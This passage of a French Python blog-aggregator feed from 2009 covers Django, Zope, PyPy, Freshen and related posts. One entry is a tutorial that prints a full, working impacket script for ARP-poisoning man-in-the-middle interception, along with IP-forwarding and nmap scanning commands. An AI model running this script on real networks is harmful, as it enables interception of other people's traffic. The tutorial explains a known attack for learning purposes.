    <img src="http://media.biologeek.com/images/scrumpy/coherence.jpeg" alt="Cohérence" />
</p>

<p>Le framework ayant été pensé dans sa globalité, on retrouve une cohérence et une qualité constante sur les différents points du framework. Et l'une des grandes forces de Django c'est la cohérence de sa documentation et son excellente qualité. Allez <a href="http://docs.djangoproject.com">faire un tour dessus</a>, ce n'est pas une légende :-).</p>

<h3>Rapidité</h3>

<p>
    <img src="http://media.biologeek.com/images/scrumpy/rapidite.jpeg" alt="Rapidité" />
</p>

<p>Enfin un dernier argument en faveur de Django, c'est la rapidité de développement rendue possible grâce aux nombreux outils mis à disposition par le framework permettant d'éviter les tâches fastidieuses et répétitives.
Vu la vitesse à laquelle les sites évoluent, c'est un point essentiel à prendre en compte au lancement d'un projet.</p>

<h2>Démonstration et code</h2>

<p>Suite à la théorie, j'ai réalisé une <a href="http://vimeo.com/7650588">démonstration live</a> de ce que l'on pouvait avoir en pratique qui a également été filmée. Et je viens de <a href="http://code.welldev.org/scrumpy/">rendre le code accessible</a> pour que vous puissiez continuer/hacker/etc, c'est un twitter-like qui reprend pas mal des concepts Django. J'ai ajouté un peu de code pour que vous puissiez aller plus loin, pour repartir de la présentation il suffit de prendre la révision qui va bien. N'hésitez pas à poser des questions ici au besoin.</p>

<h2>Formation</h2>

<p>Suite à cette intervention était prévue <a href="http://scrumpy.particul.es/scrum-python-django-montpellier/formation-django">une formation</a> qui malheureusement a été reportée faute de participants. <strong>C'est vraiment dommage car j'étais bien motivé et j'espère qu'il y aura davantage de curieux lors de la prochaine session</strong>. Si vous êtes intéressé, n'hésitez pas à me contacter ou à contacter <a href="http://www.insei.org">Stéphane</a>, en plus le cadre est vraiment unique !</p>

<p>En conclusion, j'ai eu des retours assez positifs et j'espère avoir convaincu ou au moins donné envie à certaines personnes présentes d'essayer de nouveaux horizons :-). Si l'agilité vous intéresse (et ça devrait), je vous encourage également à aller consulter les <a href="http://vimeo.com/particules/videos">vidéos de Claude Aubry</a>.</p>



<div>
<p>
    <a href="http://www.biologeek.com/" title="">
        <img src="http://media2.biologeek.com/css/images/logo.png" alt="Logo biologeek" />
    </a>
    <a href="http://www.biologeek.com/conferences,django,python/pourquoi-python-et-django/"><strong>Pourquoi Python et Django</strong></a> 
    a été rédigé par <a href="http://david.larlet.fr">David Larlet</a> pour 
    <a href="http://www.biologeek.com">biologeek.com</a> et a été originellement 
    posté le 11 décembre 2009. À part exceptions, c'est 
    ©2004-2009 David Larlet et sous <a href="http://www.biologeek.com/contact/#licence" title="À lire avant toute (re)copie">licence (presque) libre</a> autorisant 
    la reproduction, la distribution et la modification sous certaines conditions.
    Veuillez les respecter.
</p>
</div>]]></description>
    <link><![CDATA[http://www.biologeek.com/conferences,django,python/pourquoi-python-et-django/]]></link>
    <pubDate>2009-12-10 23:59:01</pubDate>
    <category>conferences</category>
    <category>django</category>
    <category>python</category>
  </item>
  <item>
    <title><![CDATA[[ccomb] Le guide complet de l'Architecture de Composants de Zope]]></title>
    <description><![CDATA[<div class="document">
<a href="http://www.lulu.com/content/1561045" class="reference external image-reference"><img src="http://ccomb.gorfou.fr/static/zcabook.jpg" alt="http://ccomb.gorfou.fr/static/zcabook.jpg" class="align-left" align="left" /></a>
<p>Voici la traduction du <a href="http://www.muthukadan.net" class="reference external">livre de Baiju Muthukadan</a> sur la Component Architecture de Zope 3, (la ZCA). Cette traduction avait été commencée il y a deux ans par Stéphane Klein (que je salue et remercie au passage) et j'ai enfin trouvé le temps de la terminer.</p>
<p>La <cite>Component Architecture</cite>, qu'est-ce que c'est ?? C'est juste une paire de paquets Python <strong>complètement indépendants de Zope</strong>, qui vous permettront de rendre votre application vraiment modulaire, là où c'est nécessaire (inutile d'en abuser). Le principe est excellent, et basé sur des motifs de conception éprouvés et utilisés de manière intelligente. Cette architecture est utilisée dans plusieurs frameworks ou applications comme <a href="http://zope2.zope.org" class="reference external">Zope 2</a>, <a href="http://www.zope.org/Products/Zope3" class="reference external">Zope 3</a>, <a href="http://grok.zope.org" class="reference external">Grok</a>, <a href="http://bfg.repoze.org" class="reference external">Repoze.BFG</a>, <a href="http://twistedmatrix.com" class="reference external">Twisted</a>, le <a href="https://launchpad.net" class="reference external">Launchpad</a> de <a href="http://www.canonical.com" class="reference external">Canonical</a>, ou le gros CMS <a href="http://plone.org" class="reference external">Plone</a>.  Je l'ai utilisée dans plusieurs projets comme l'<a href="http://gorfou.fr/site/eztranet.html" class="reference external">Eztranet</a> (un extranet pour agences de production vidéo), le site <a href="http://relief.fr" class="reference external">relief.fr</a>, ou pour <a href="https://cody.gorfou.fr/hg/sos_epidemio/" class="reference external">SOS_Epidemio</a>, un logiciel de tracé épidémiologique pour SOS Médecins.</p>
<div id="la-traduction-en-fran-ais" class="section">
<h3>La traduction en français</h3>
<blockquote>
<ul class="simple">
<li>[HTML] <a href="http://ccomb.gorfou.fr/static/zcadoc/zca-fr.html" class="reference external">http://ccomb.gorfou.fr/static/zcadoc/zca-fr.html</a></li>
<li>[PDF] <a href="http://ccomb.gorfou.fr/static/zcadoc/zca-fr.pdf" class="reference external">http://ccomb.gorfou.fr/static/zcadoc/zca-fr.pdf</a></li>
</ul>
</blockquote>
</div>
<div id="l-original-en-anglais" class="section">
<h3>L'original en anglais</h3>
<p>Tout est là, avec des liens vers les traductions actuelles : <a href="http://www.muthukadan.net" class="reference external">http://www.muthukadan.net</a></p>
<p>Si vous voulez contribuer financièrement à l'effort de Baiju, vous pouvez commander une version papier de son livre à cette adresse : <a href="http://www.lulu.com/content/1561045" class="reference external">http://www.lulu.com/content/1561045</a></p>
<div id="pour-contribuer" class="section">
<h4>Pour contribuer</h4>
<p>La version anglaise originale a bénéficié de contributions, et certaines ne sont pas complètement terminées, notamment l'exemple d'application graphique utilisant GTK+. Quant à la traduction, elle a sûrement besoin de relectures et de corrections. N'hésitez pas à m'envoyer des mails pour m'injurier d'avoir traduit des mots comme « subscriber » ou « handler », je sais que certains ne supportent pas ça. Sinon vous pouvez juste me signaler si vous trouvez une faute d'orthographe.</p>
<p>Ma branche <cite>bzr</cite> pour la traduction est ici : <a href="https://code.launchpad.net/~ccomb/zcadoc/book-fr" class="reference external">https://code.launchpad.net/~ccomb/zcadoc/book-fr</a> et la branche originale de Baiju est ici : <a href="https://code.launchpad.net/~baijum/zcadoc/book" class="reference external">https://code.launchpad.net/~baijum/zcadoc/book</a></p>
<p>Si vous voulez extraire la branche chez vous, commencez par vous documenter sur <a href="http://bazaar.canonical.com" class="reference external">Bazaar</a>, puis installez-le</p>
<pre class="literal-block">$ sudo aptitude install bzr
</pre>
<p>Ensuite vous pouvez récupérer la branche originale</p>
<pre class="literal-block">$ bzr branch lp:~baijum/zcadoc/book
</pre>
<p>Ou bien la branche de la traduction</p>
<pre class="literal-block">$ bzr branch lp:~ccomb/zcadoc/book-fr
</pre>
</div>
</div>
</div>]]></description>
    <link><![CDATA[http://ccomb.gorfou.fr/2009/12/9/le-guide-complet-de-l-architecture-de-composants-de-zope]]></link>
    <pubDate>2009-12-09 16:33:00</pubDate>
  </item>
  <item>
    <title><![CDATA[[Haypo] Compiler PyPy trunk en activant le compilateur à la volée (JIT)]]></title>
    <description><![CDATA[PyPy est une interprète Python écrit en Python. Il implémente Python 2.5 et offre quelques fonctionnalités supplémentaires. Je m'intéresse surtout au compilateur à la volée, car il laisse espérer une vitesse d'exécution des programmes Python bien meilleure. Lire ces benchmarks du blog PyPy...]]></description>
    <link><![CDATA[http://www.haypocalc.com/blog/index.php/2009/12/04/213-compiler-pypy-compilateur-volee]]></link>
    <pubDate>2009-12-03 23:24:41</pubDate>
    <category>Python</category>
  </item>
  <item>
    <title><![CDATA[[ccomb] JM2L, les Journées Méditérannéennes du Logiciel Libre]]></title>
    <description><![CDATA[<div class="document">
<a href="http://jm2l.linux-azur.org" class="reference external image-reference"><img src="http://ccomb.gorfou.fr/static/jm2l09.png" alt="JM2L 2009" class="align-left" align="left" /></a>
<p>Samedi dernier (le 28nov), c'étaient les <a href="http://jm2l.linux-azur.org" class="reference external">JM2L 2009</a>. Le même genre de journées que les <a href="http://rmll.info/" class="reference external">RMLL</a> ou les <a href="http://jdll.org/" class="reference external">JDLL</a>, mais à Sophia Antipolis et organisé par <a href="http://linux-azur.org" class="reference external">Linux Azur</a>. La concurrence fut rude car au même moment se tenait l'<a href="http://ubuntu-party.org/5000-visiteurs-ubuntu-party-de-paris" class="reference external">Ubuntu Party 9.10 de Paris</a> qui, boostée par la présence de Mark Shuttleworth, a accueilli 5000 visiteurs sur deux jours (une progression de 25% par rapport à 2008). Je suis arrivé samedi matin par le train de nuit, et reparti samedi soir avec le même train. Entre les deux j'ai réussi à improviser un stand <a href="http://afpy.org" class="reference external">AFPY</a>, à suivre la présentation du langage <a href="http://www.lisaac.org" class="reference external">Lisaac</a> et d'Isaac Os par Benoît Sonntag (impressionnant), et à présenter la façon de faire du <a href="http://jm2l.linux-azur.org/Web_par_composants" class="reference external">développement web par composants</a>.</p>
<p>Voici ci dessous les slides au format PDF et directement en ligne. C'est une concaténation des deux présentations faites pour <a href="http://ccomb.gorfou.fr/2009/9/16/open-source-developers-conference-france-2009" class="reference external">OSDC FR 2009</a>, avec une courte introduction sur Python. Le but de la présentation était d'expliquer comment découper proprement une application web, d'abord à haut niveau grâce à un assemblage WSGI, mais aussi au niveau des classes et des composants métiers en utilisant la <cite>Component Architecture</cite> de Zope 3.</p>
<p>[PDF] <a href="http://ccomb.gorfou.fr/static/web_par_composants.pdf" class="reference external">Le web par composants (en Python)</a></p>

<p>Your browser does not support iframes.</p>
<p>Merci encore à René Mages et à Linux Azur pour l'accueil et l'orga !</p>
</div>]]></description>
    <link><![CDATA[http://ccomb.gorfou.fr/2009/12/3/jm2l-les-journees-mediteranneennes-du-logiciel-libre]]></link>
    <pubDate>2009-12-03 18:43:00</pubDate>
  </item>
  <item>
    <title><![CDATA[[QuiSaura] python, impacket et un petit man in the middle (arp poisoning)]]></title>
    <description><![CDATA[<p><em><p>Mais alors un vraiment tout petit.</p></em></p>
<p><p>On va voir aujourd'hui comment gr&acirc;ce au module <strong>imPacket</strong> r&eacute;alis&eacute; un <a href="http://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu" target="_blank"><em>man in the middle</em></a> en utilisant la m&eacute;thode de l'<em><a href="http://fr.wikipedia.org/wiki/ARP_poisoning" target="_blank"><em>arp poisoning</em></a></em>.</p>
<p>Qu'est-ce quele <a href="http://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu" target="_blank"><em>man in the middle</em></a> ?<br />C'est une attaque qui a pour but d'intercepter tous les paquets transitants entre A et B .</p>
<p>Et l'<a href="http://fr.wikipedia.org/wiki/ARP_poisoning" target="_blank"><em>arp poisoning</em></a> ?<br />C'est une technique utilisant le <a href="http://fr.wikipedia.org/wiki/Address_Resolution_Protocol" target="_blank">protocole ARP</a>&nbsp; qui va faire en sorte que A envoit ses paquets &agrave; C au lieu de B. <br />Du coup, si on utilise aussi l'<em><a href="http://fr.wikipedia.org/wiki/ARP_poisoning" target="_blank"><em>arp poisoning</em></a></em> sur B, C peut &eacute;couter tous les paquets qui transitent entre A et B : c'est le <a href="http://fr.wikipedia.org/wiki/Attaque_de_l%27homme_du_milieu" target="_blank"><em>man in the middle</em></a>.<br />Il existe plusieurs m&eacute;thodes, on va utiliser celle qui consiste &agrave; envoyer des r&eacute;ponses ARP aux cibles (A et B), et vu que le <a href="http://fr.wikipedia.org/wiki/Address_Resolution_Protocol" target="_blank">protocole ARP</a> ne v&eacute;rifie pas si une requ&ecirc;te ARP a &eacute;t&eacute; faite au pr&eacute;alable, on va pouvoir modifier la cache ARP des cibles sans difficult&eacute;.</p>
<p>C'est parti.</p>
<p>La topologie de mon r&eacute;seau &eacute;thernet dans lequel j'ai r&eacute;alis&eacute; le script (simple&amp;court) est on ne peut plus basique :<br />2 ordinateurs(A et C) directement reli&eacute;s au routeur(B).<br />Je suis C et, je veux &eacute;couter tout ce qui se passe chez A.</p>
<p>Tout d'abord, il faut activer le routage :</p>
<div class="code">su -c "echo 1 &gt; /proc/sys/net/ipv4/ip_forward"</div>
<p><br />Maintenant, il faut connaitre les IP de A,B,C ainsi que leurs MAC.<br />un petit coup de <strong>nmap -v -Sp 192.168.1.0/24 | grep "up"</strong> et de <strong>arp -v</strong> r&eacute;soudra tout (ajustez le sous r&eacute;seau).</p>
<p>&nbsp;</p>
<p>Et voici le script :</p>
<div class="code">
<p>#-*- coding:Utf-8 -*-<br /><br />from impacket import ImpactPacket<br />import socket<br />import time<br /><br />INTERFACE = 'eth0'<br />MON_IP = (192, 168, 0, 101)<br />MA_MAC = (0x00, 0x13, 0x02, 0x12, 0x8c, 0xaa)<br /><br />ROUTEUR_IP = (192,168,0,1)<br />ROUTEUR_MAC = (0x00,0x13,0x02,0xcd,0x03,0xd2)<br /><br />CIBLE_IP = (192,168,0,102)<br />CIBLE_MAC = (0x00,0x13,0x02,0x1d,0x10,0xd3)<br /><br /><br />class <span>MonARP</span>(ImpactPacket.<span>ARP</span>):<br />&nbsp;&nbsp;&nbsp; """notre classe pour cr&eacute;er notre paquet ARP"""<br /><br />&nbsp;&nbsp;&nbsp; def __init__(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ImpactPacket.ARP.__init__(self)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #et on remplit l'ent&ecirc;te arp :<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_hrd(0x01)#le type du reseau dans lequel on se trouve=&gt;ethernet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_pro(0x800)#le protocole de couche 3 qui utilise notre ARP : soit IP donc 0x800<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_hln(0x06)# la longueur de l'adresse physique, soit 6 octets (c'est la longueur de l'adresse MAC)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_pln(0x04)#longueur de l'adresse reseau , vu qu'on est en IPV4 : 4 octets<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_op(0x02) #le type d'op&eacute;ration de notre arp : requ&ecirc;te (0x01) ou r&eacute;ponse(0x02) donc r&eacute;ponse<br /><br />&nbsp;&nbsp;&nbsp; def routeur(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; """si on envoit notre r&eacute;ponse au routeur,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; on doit mettre :<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - en mac source, notre mac<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - en ip source, l'ip de la cible<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; """<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_sha(MA_MAC)#adresse physique source<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_spa(CIBLE_IP)#adresse r&eacute;seau source<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_tha(ROUTEUR_MAC)#adresse physique de destination<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_tpa(ROUTEUR_IP)#adresse r&eacute;seau de destination<br /><br />&nbsp;&nbsp;&nbsp; def cible(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; """si on envoit notre r&eacute;ponse &agrave; la cible,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; on doit mettre :<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - en mac source, notre mac<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - en ip source, l'ip du routeur<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; """<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_sha(MA_MAC)#adresse physique source<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_spa(ROUTEUR_IP)#adresse r&eacute;seau source<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_tha(CIBLE_MAC)#adresse physique de destination<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>self</span>.set_ar_tpa(CIBLE_IP)#adresse r&eacute;seau de destination<br /><br />if __name__ == '__main__':<br /><br />&nbsp;&nbsp;&nbsp; <span>arp</span> = <span>MonARP</span>()#on cr&eacute;e notre paquet ARP<br />&nbsp;&nbsp;&nbsp; <span>eth</span> = ImpactPacket.<span>Ethernet</span>()#notre trame ethernet<br />&nbsp;&nbsp;&nbsp; <span>s</span> = socket.<span>socket</span>(socket.PF_PACKET,socket.SOCK_RAW)<br />&nbsp;&nbsp;&nbsp; #le premier param&egrave;tre est la famille du protocole qu'on utilise, vu qu'on utilise un protocole bas niveau (d'apr&egrave;s le mod&egrave;le OSI) on utilise donc PF_PACKET<br />&nbsp;&nbsp;&nbsp; #le deuxi&egrave;me param&egrave;tre est le type de notre socket , il en existe des tas :<br />&nbsp;&nbsp;&nbsp; #SOCK_RAW : pour faire transiter des paquets utilisant un protocole plus bas niveau , le protocole ARP &eacute;tant de niveau 2/3, c'est ce qu'il nous faut .<br /><br />&nbsp;&nbsp;&nbsp; ###un man socket vous aidera mieux &agrave; comprendre<br /><br />&nbsp;&nbsp;&nbsp; <span>s</span>.bind((INTERFACE, 0x806))#pour lier notre socket&nbsp; &agrave; une interface(bah oui, sinon on pourra pas l'envoyer)<br />&nbsp;&nbsp;&nbsp; #le 1&deg; param&egrave;tre notre interface r&eacute;seau<br />&nbsp;&nbsp;&nbsp; #le 2&deg; param&egrave;tre est le protocole qu'on utilise (ARP=0x806)<br />&nbsp;&nbsp;&nbsp; #s.settimeout(2)#le timeout en seconde, mais on s'en fout vu qu'on envoit une r&eacute;ponse et donc on n'en recevra pas.<br />&nbsp;&nbsp;&nbsp; while 1 :<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print("c'est parti")<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>arp</span>.routeur()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>eth</span>.contains(<span>arp</span>)#ensuite, on doit encapsuler notre paquet dans notre trame ethernet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>eth</span>.set_ether_shost(<span>arp</span>.get_ar_sha())#l'adresse mac source de la trame est la m&ecirc;me que l'ent&ecirc;te arp<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>eth</span>.set_ether_dhost(<span>arp</span>.get_ar_tha())#l'adresse mac de destination de la trame est la m&ecirc;me que l'ent&ecirc;te arp<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>s</span>.send(<span>eth</span>.get_packet())#on envoie le paquet !<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>arp</span>.cible()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>eth</span>.contains(arp)#ensuite, on doit encapsuler notre paquet dans notre trame ethernet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>eth</span>.set_ether_shost(<span>arp</span>.get_ar_sha())#l'adresse mac source de la trame est la m&ecirc;me que l'ent&ecirc;te arp<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>eth</span>.set_ether_dhost(<span>arp</span>.get_ar_tha())#l'adresse mac de destination de la trame est la m&ecirc;me que l'ent&ecirc;te arp<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span>s</span>.send(<span>eth</span>.get_packet())#on envoie le paquet !<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; time.sleep(10)#en secondes</p>
</div>
<p><br />N'oubliez pas de changer les valeurs des variables des lignes 7 &agrave; 15.<br />Je n'explique pas le script, tout est comment&eacute; et devrait suffire ?<br /><br />Un petit coup de <strong>wireshark</strong> et vous verrez les paquets de/vers A.</p>
<p>&nbsp;</p>
<p>PS : pour toute question envoyez-moi un mail (cf la page "&Agrave; propos"), j'ai d&eacute;sactiv&eacute; les commentaires &agrave; cause du trop gros nombre de spams.</p></p>]]></description>
    <link><![CDATA[http://www.qui-saura.fr/monBlog/maninthemiddle.html]]></link>
    <pubDate>2009-11-30 01:27:23</pubDate>
  </item>
  <item>
    <title><![CDATA[[j-mad] Django-ROA ou… Mince je trouve pas de jeux de mots là]]></title>
    <description><![CDATA[Ça sera bien la première fois que je ne fais pas de jeux de mots dans le titre d&#8217;un billet la Django-app du mois. Mais là, je n&#8217;ai vraiment pas d&#8217;inspiration et comme je suis sur un timing plutôt serré (le billet devant être publié d&#8217;ici au plus tard 4h20 pour pouvoir prétendre à être [...]]]></description>
    <link><![CDATA[http://j-mad.com/blog/2009/11/29/django-roa-ou-mince-je-trouve-pas-de-jeux-de-mots-la/]]></link>
    <pubDate>2009-11-29 20:09:38</pubDate>
    <category>La Django-app du mois</category>
    <category>Django</category>
    <category>Python</category>
    <category>rest</category>
  </item>
  <item>
    <title><![CDATA[[No] Les pythons et les concombres, main dans la main (troisième partie)]]></title>
    <description><![CDATA[<p><em>disclaimer : avant que tu fasses la remarque, je sais parfaitement que ni les pythons, ni les concombres n'ont de main. C'est une allégorie, un licence poétique, une métaphore, voilà.</em>
</p>

<h3>Pierre de Rosette</h3>
<p>Lors des deux <a href="http://jehaisleprintemps.net/blog/fr/2009/10/06/les-concombres-mangent-ils-des-pythons-I/">articles</a> <a href="http://jehaisleprintemps.net/blog/fr/2009/10/08/les-pythons-mangent-ils-des-concombres-II/">précédents</a>, j'avais à la fois évoqué la méthodologie "développement dirigé par les tests" et montré un exemple d'implémentation en Python. Mais nous avions aussi constaté que ces tests, très utiles au développeur, ne disaient généralement rien dire au "client" ou à la personne pour laquelle l'application est faite (utilisateur). On pourra raconter ce qu'on voudra à Monsieur Lambda, il ne comprendra pas ces classes et ces méthodes, que ce soit écrit en Python, en Java, en C, en Intercal...
</p>
<p>Il manque une <em>Pierre de Rosette</em> entre le technicien et le non-technicien. Cette Pierre de Rosette existe, sous un formalisme "humainement lisible" :
</p>
<pre><code>Feature: Addition
    In order to avoid silly mistakes
    As a math idiot
    I want to be told the sum of two numbers

    Scenario Outline: Add two numbers
        Given I have entered 2 into the calculator
        And I have entered 3 into the calculator
        When I press add
        Then the result should be 5 on the screen
</code></pre><p>C'est en anglais, certes. Mais on peut remarque qu'il y a une certaine "structure" dans ce texte.
</p>
<pre><code>[Feature:] Addition
    [In order to] avoid silly mistakes
    [As] a math idiot
    [I want to] be told the sum of two numbers

    [Scenario Outline:] Add two numbers
        [Given] I have entered 2 into the calculator
        [And] I have entered 3 into the calculator
        [When] I press add
        [Then] the result should be 5 on the screen
</code></pre><p>Les mots encadrés sont facilement repérables en tant que "mots-clés". Il est assez facile de fabriquer un programme qui repère les phrases commençant par "Given" ou "I want to" et de déterminer le comportement du programme. Tiens, si on l'écrit en Français, c'est encore mieux :
</p>
<p><pre><code>Fonctionnalité: Addition
       Pour éviter des erreurs idiotes
       En tant que nul en maths
       Je veux qu'on me donne la somme de deux nombres
</p>
<p>Plan du Scénario: Ajouter deux nombres
       Soit le nombre 2 entré dans la calculatrice
       Et le nombre 3 entré dans la calculatrice
       Lorsque j'appuie sur ajout Alors le résultat doit être 5 à l'écran
   </code></pre>
</p>
<p>On a là un document lisible pour le péquin moyen, le client lambda. Un document en Français, qui décrit le comportement de l'application dans une langue que peut comprendre un "non-ordinateurien". Et comme il a une structure, et que cette structure est "facilement" analysable par un programme informatique.
</p>
<p>Ce programme, tu t'en doutes, il existe :
</p>

<h3>Cucumber</h3>
<p><a href="http://cukes.info/">Cucumber</a> est un outil écrit en <a href="http://fr.wikipedia.org/wiki/Ruby">Ruby</a>, qui implémente le formalisme décrit ci-dessus. Comme indiqué sur le site de Cucumber, on peut écrire des spécifications en langage "naturel", qui sont ensuite traduites en tests en Ruby, et on peut alors procéder aux cycles classiques du TDD (cf. <a href="http://jehaisleprintemps.net/blog/fr/2009/10/06/les-concombres-mangent-ils-des-pythons-I/">l'article précédent</a>), à savoir : écriture du test qui doit échouer, implémentation jusqu'à ce que le test passe au vert.
</p>
<p>Youpi ! Formidable !
</p>
<p>Ça veut dire que, durant la phase "d'analyse" (ou de préparation à l'implémentation), le client ou son représentant peut rencontrer l'équipe de développement, se mettre autour d'une table et parler un langage commun. On imagine bien la rédaction commune de ces documents de spécification, qui peuvent utiliser le langage métier du client et que l'équipe de développement peut rapidement transformer en tests que le programme va devoir faire passer.
</p>
<p>Seulement... Il y a une chose qui me dérange, personnellement. Le langage de développement que je privilégie, c'est Python. Et faire fonctionner Cucumber avec Python, c'est <a href="http://wiki.github.com/aslakhellesoy/cucumber/python">peut-être possible</a>, mais ça nécessite l'installation de RubyPython, etc... je me suis dit qu'il devait y avoir une autre solution. Analyser la structure d'un texte en Python, c'est une chose très accessible, il y a des dizaines d'outils qui savent faire ça.
</p>
<p>J'ai cherché et j'ai trouvé une implémentation 100% en Python, appelée <a href="http://github.com/rlisagor/freshen">Freshen</a>.
</p>
<p>Freshen s'installe comme plugin à l'exccccccellent Nose (j'en ai parlé <a href="http://jehaisleprintemps.net/blog/fr/2009/08/18/comment-combiner-nose-rednose-et-django/">là déjà</a>). Tout développeur Python qui se respecte et qui pratique TDD se doit d'utiliser Nose, déjà. Lancer <code>nosetests</code>, c'est comme un réflexe. Normalement, tu devrais même avoir un alias pour lancer cette commande plus vite, plus souvent. Voilà.
</p>
<p>Freshen n'est pas parfait, loin de là. Certaines fonctionnalités de Cucumber ne sont pas implémentées. Certes. Mais une chose m'embêtait plus que les autres : les fichiers de spécification doivent être écrites en anglais. Ça fait même plus que m'embêter : ça emmerde aussi n'importe quel "non-ordinateurien" qui ne parlerait pas anglais. Ça fait un paquet de monde. Il faut imaginer un demandeur, un décideur, qui n'a pas forcément besoin ou envie de parler l'anglais, faire confiance à une spécification écrite en anglais. Pour lui, le bénéfice de cette méthode, c'est zéro : autant lui filer l'impression d'un code Perl, ça aura autant d'intérêt pour lui.
</p>
<p>Mais... s'il est en Python, je peux le comprendre. Si je peux le comprendre et que sa licence le permet, c'est que je peux l'adapter pour qu'il puisse causer Français. Et Espagnol. Et Basque. Et Espéranto. Et même Klingon !
</p>
<p>J'ai donc fait (du mieux que j'ai pu) <a href="http://github.com/brunobord/freshen">un clone du dépôt</a> sur GitHub et adapté Freshen pour qu'il puisse causer la langue de Molière.
</p>
<p>Désormais, on peut lancer nose avec les arguments suivants :
</p>
<pre><code>$ nosetests --with-freshen --lang=fr
</code></pre><p>et les fichiers de "features" (fonctionnalités) sont interprétés dans la langue de son choix.
</p>
<p>Les langues disponibles sont strictement identiques à celles implantées dans Cucumber, puisque j'ai poussé le vice en "empruntant" <a href="http://github.com/aslakhellesoy/cucumber/blob/master/lib/cucumber/languages.yml">le fichier de langues de Cucumber</a> (qui définit les mots-clés anglais et leurs traductions) pour alimenter les traductions de Freshen. Y'en a 40. Pas mal non ?
</p>
<p>Ceux et celles qui veulent tester ce Freshen qui fleure bon désormais le camembert, la paëlla et le gloubiboulga, la branche s'appelle "i18n" et les retours sur cette implémentation sont les bienvenus.
</p>]]></description>
    <link><![CDATA[http://jehaisleprintemps.net/blog/fr/2009/11/25/les-pythons-et-les-concombres-main-dans-la-main-III/]]></link>
    <pubDate>2009-11-25 22:41:01</pubDate>
  </item>
  <item>
    <title><![CDATA[[ccomb] Développer, avec quel langage ?]]></title>
    <description><![CDATA[<div class="document">
<a href="http://www.alterway.fr/solutions/" class="reference external image-reference"><img src="http://ccomb.gorfou.fr/static/logo_alter_way.png" alt="Alter Way" class="align-right" align="right" /></a>
<a href="http://www.programmez.com/minimag.php" class="reference external image-reference"><img src="http://ccomb.gorfou.fr/static/programmez124.jpg" alt="Magazine Programmez n°124" class="align-left" align="left" /></a>
<p>Voici un article de 3 pages dans Programmez n°124 (nov 2009), rédigé pendant mon temps de travail chez Alter Way Solutions. Voici l'intro :</p>
<p><tt class="docutils literal"><span class="pre">Un</span> <span class="pre">langage</span> <span class="pre">de</span> <span class="pre">programmation</span> <span class="pre">est</span> <span class="pre">un</span> <span class="pre">moyen,</span> <span class="pre">pas</span> <span class="pre">une</span> <span class="pre">fin.</span> <span class="pre">Pourtant,</span> <span class="pre">le</span> <span class="pre">choix</span> <span class="pre">d'un</span> <span class="pre">langage</span> <span class="pre">peut</span> <span class="pre">avoir</span> <span class="pre">des</span> <span class="pre">conséquences</span> <span class="pre">non</span> <span class="pre">négligeables</span> <span class="pre">sur</span> <span class="pre">la</span> <span class="pre">vie</span> <span class="pre">d'un</span> <span class="pre">projet,</span> <span class="pre">aussi</span> <span class="pre">bien</span> <span class="pre">au</span> <span class="pre">niveau</span> <span 